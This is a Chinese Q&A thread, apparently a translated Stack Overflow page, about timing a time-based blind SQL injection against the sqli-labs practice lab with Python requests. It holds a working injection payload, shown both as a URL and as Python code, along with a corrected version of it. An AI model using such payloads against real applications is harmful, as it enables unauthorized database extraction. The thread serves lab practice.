11

我试图在来自 Web 应用程序的 HTTP 响应中引起人为延迟(这是一种用于执行盲 SQL 注入的技术)。如果以下 HTTP 请求是从浏览器发送的,则 Web 服务器的响应会在 3 秒后返回(由 sleep(3) 引起):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

我正在尝试使用 requests 库在 Python 2.7 中做同样的事情。我的代码是:

import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

我预计往返时间为 3 秒,但我得到的值是 0.001371、0.001616、0.002228 等。我没有正确使用 elapsed 属性吗?

4

2 回答 2

23

elapsed测量发送请求和完成解析响应标头之间的时间,直到传输完整响应为止。

如果你想测量那个时间,你需要自己测量它:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
于 2015-05-25T20:39:09.643 回答
0

我发现我的有效载荷应该是

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

原始有效负载中的最后一个字符“+”被传递到后端数据库,这导致 SQL 语法无效。我不应该在有效载荷中进行任何手动编码。

于 2015-05-26T06:40:13.157 回答